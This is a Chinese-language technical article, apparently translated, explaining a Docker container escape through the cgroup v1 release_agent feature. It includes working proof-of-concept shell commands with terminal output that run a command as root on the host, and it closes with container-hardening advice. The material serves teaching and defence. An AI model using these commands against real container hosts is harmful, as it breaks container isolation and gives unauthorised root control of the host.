理解Docker容器逃逸

  • Felix Wilhelm最近的一条关于概念验证(PoC)“容器逃逸”的推文激起了兴趣,因为进行了类似的研究,并好奇这个PoC会如何影响Kubernetes。

  • Felix’s poc on tweets

Felix的tweeter展示了一个漏洞,该漏洞从一个使用–privileged flag运行的Docker容器中启动主机上的进程。PoC通过滥用Linux cgroup v1的“发布通知”特性来实现这一点。
下面是在主机上启动ps的PoC版本:

1
2
3
4
5
6
7
8
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;printf '#!/bin/sh\nps >'"$t/o" >/c;
chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

privileged flag引入了严重的安全问题,利用它的方法依赖于启用docker容器来启动。当使用这个flag时,容器可以完全访问所有设备,并且不受seccomp、AppArmor和Linux功能的限制。

不要运行带有–privileged的容器。Docker包括独立控制容器privileged的细粒度设置。根据经验,这些关键的安全设置经常被遗忘。有必要了解这些选项如何保护您的容器。

在接下来的部分中,将详细介绍这种“容器逃逸”是如何工作的,它所依赖的不安全设置,以及开发人员应该做些什么。

利用此技术的需求

事实上,–privileged提供了比通过此方法逃逸docker容器所需的更多的权限。实际上,“唯一”的要求是:

  1. 必须以root用户身份在容器内运行
  2. 容器必须使用SYS_ADMIN Linux功能运行
  3. 容器必须缺少一个AppArmor配置文件,否则允许挂载系统调用
  4. cgroup v1虚拟文件系统必须以读写的方式挂载在容器内

SYS_ADMIN功能允许容器执行挂载syscall(请参阅man 7功能)。默认情况下,Docker启动的容器具有一组受限制的功能,并且由于这样做的安全风险而不启用SYS_ADMIN功能。

此外,Docker在默认情况下使用Docker -default AppArmor策略启动容器,这将防止使用挂载系统调用,即使在容器使用SYS_ADMIN运行时也是如此。

如果容器使用以下flag运行:

1
--security-opt apparmor=unconfined --cap-add=SYS_ADMIN

那么它很容易受到这种技术的攻击

使用cgroups来实现漏洞

Linux cgroups是Docker隔离容器的一种机制。PoC滥用了cgroups v1中的notify_on_release特性的功能,以完全特权root用户的身份运行这个漏洞。

当cgroup中的最后一个任务离开时(通过退出或附加到另一个cgroup),将执行release_agent文件中提供的命令。这样做的目的是帮助修剪废弃的cgroup。当调用此命令时,它将作为主机上的完全特权root运行。

  • 1.4 What does notify_on_release do

提取概念证明

有一种更简单的方法来编写这个漏洞,这样它就可以在不使用–privileged标志的情况下工作。在这个场景中,不能访问–privileged提供的读写cgroup挂载。适应这个场景很容易:自己只需将cgroup挂载为读写状态。这给漏洞增加了一行,但需要的特权更少。

下面的利用将在主机上执行一个ps aux命令,并将其输出保存到容器中的/output文件中。它使用与原始PoC相同的release_agent特性在主机上执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

分解概念证明

现在了解了使用此技术的需求,并改进了概念利用的证明,逐行介绍它,以演示它是如何工作的。

为了触发这个漏洞,需要一个cgroup,在这个cgroup中我们可以创建一个release_agent文件,并通过杀死cgroup中的所有进程来触发release_agent调用。最简单的方法是挂载cgroup控制器并创建子cgroup。

为此,创建一个/tmp/cgrp目录,挂载RDMA cgroup控制器并创建一个子cgroup(在本例中命名为“x”)。虽然每个cgroup控制器还没有测试,这种技术应该与大多数cgroup控制器工作。

如果继续执行下面的操作,并得到“mount:/tmp/cgrp: special device cgroup不存在”,这是因为安装程序没有RDMA cgroup控制器。改变rdma到内存修复它。使用RDMA是因为最初的PoC只是被设计用来与它一起工作的。

请注意,cgroup控制器是全局资源,可以使用不同的权限挂载多次,在一个挂载中呈现的更改将应用于另一个挂载。

可以看到“x”子cgroup的创建及其目录列表如下所示。

1
2
3
4
5
root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
root@b11cf9eab4fd:/# ls /tmp/cgrp/
cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks x
root@b11cf9eab4fd:/# ls /tmp/cgrp/x
cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks

接下来,通过在“x”cgroup的notify_on_release文件中写入一个1来启用cgroup通知。通过将主机上的/cmd脚本路径写入release_agent文件,还将RDMA cgroup发布代理设置为执行/cmd脚本(稍后将在容器中创建)。为此,将从/etc/mtab文件中获取主机上容器的路径。

在容器中添加或修改的文件存在于主机上,可以从两个方面修改它们:容器中的路径和它们在主机上的路径。

这些行动如下:

1
2
3
root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent

注意/cmd脚本的路径,将在主机上创建:

1
2
root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd

现在,创建/cmd脚本,以便它将执行ps aux命令,并通过指定主机上输出文件的完整路径将其输出保存到容器上的/output中。最后,还打印/cmd脚本来查看它的内容:

1
2
3
4
5
6
root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd
root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd
root@b11cf9eab4fd:/# chmod a+x /cmd
root@b11cf9eab4fd:/# cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output

最后,可以通过生成一个立即结束在“x”cgroup内的子进程来执行攻击。
通过创建/bin/sh进程并将其PID写入cgroup。
在”x”子cgroup目录下,主机上的脚本将在/bin/sh退出后执行。
ps aux在主机上执行的输出被保存到容器内的/输出文件中:

1
2
3
4
5
6
7
8
9
10
11
12
root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@b11cf9eab4fd:/# head /output
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.1 1.0 17564 10288 ? Ss 13:57 0:01 /sbin/init
root 2 0.0 0.0 0 0 ? S 13:57 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_gp]
root 4 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_par_gp]
root 6 0.0 0.0 0 0 ? I< 13:57 0:00 [kworker/0:0H-kblockd]
root 8 0.0 0.0 0 0 ? I< 13:57 0:00 [mm_percpu_wq]
root 9 0.0 0.0 0 0 ? S 13:57 0:00 [ksoftirqd/0]
root 10 0.0 0.0 0 0 ? I 13:57 0:00 [rcu_sched]
root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0]

安全的使用容器

Docker默认限制和限制容器。放松这些限制可能会产生安全问题,即使没有特权标志的全部权力。认识到每个额外权限的影响并将总体权限限制到最低限度是很重要的。

确保容器安全:

  • 不要使用–privileged标志或在容器内挂载Docker套接字。docker套接字允许生成容器,因此它是完全控制主机的一种简单方法,例如,通过运行带有–privileged标志的另一个容器。
  • 不要在容器内以root用户身份运行。使用不同的用户或用户名称空间。容器中的root与主机上的root相同,除非用用户名称空间重新映射。它主要受到Linux名称空间、功能和c组的轻微限制。
  • 删除所有功能(–cap-drop=all),只启用那些需要的功能(–cap-add=…)。许多工作负载不需要任何功能,添加这些功能会增加潜在攻击的范围。
  • 使用“no-new-privileges”安全选项防止进程获得更多特权,例如通过suid二进制文件。
  • 限制容器的可用资源。资源限制可以保护机器免受拒绝服务攻击。
  • 调整seccomp、AppArmor(或SELinux)配置文件,将容器可用的操作和系统调用限制为所需的最小值。
  • 使用官方的docker镜像或者基于它们构建自己的docker镜像。不要继承或使用后台图像。
  • 定期重建映像以应用安全补丁。这是不言而喻的。